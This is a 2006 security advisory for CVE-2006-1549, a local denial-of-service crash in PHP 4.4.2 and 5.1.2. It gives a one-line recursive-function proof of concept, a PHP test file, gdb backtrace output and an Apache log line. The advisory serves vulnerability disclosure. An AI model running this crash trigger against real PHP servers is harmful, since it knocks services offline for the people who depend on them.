[function *() php/apache Crash PHP 4.4.2 and 5.1.2]
Author: Maksymilian Arciemowicz
Date:
- -Written: 21.3.2006
- -Public: 8.4.2006
CVE-2006-1549
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.
A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available.
- --- 1. function *() Crash ---
PHP4/5 is vulnerability to a local denial-of-service. General problem is in allocated data to memory.
for example attack:
cxib# php -r 'function cx(){ cx(); } cx();'
Segmentation fault (core dumped)
cxib#
Segfault.. let`s see what we have in gdb
- ---
cxib# cat /www/functionsegfault.php
<?
function cx(){
cx();
}
cx();
?>
cxib# gdb -q php
(gdb) r '/www/functionsegfault.php'
Starting program: /usr/local/bin/php '/www/functionsegfault.php'
Program received signal SIGSEGV, Segmentation fault.
0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260,
__zend_filename=0x811d8c0 "/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c", __zend_lineno=1568)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
111 /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c: No such file or directory.
in /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c
(gdb) bt
#0 0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260,
__zend_filename=0x811d8c0 "/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c", __zend_lineno=1568)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
#1 0x080f042a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1568
#2 0x080f019a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#3 0x080f019a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#4 0x080f019a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#5 0x080f019a in execute (op_array=0x81b3880)
...
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or in apache error_log
[Mon Mar 20 12:12:54 2006] [notice] child pid 744 exit signal Illegal instruction (4)
- --- 2. Greets ---
p_e_a, pi3, eax, Infospec
- --- 3. Contact ---
Author: Maksymilian Arciemowicz
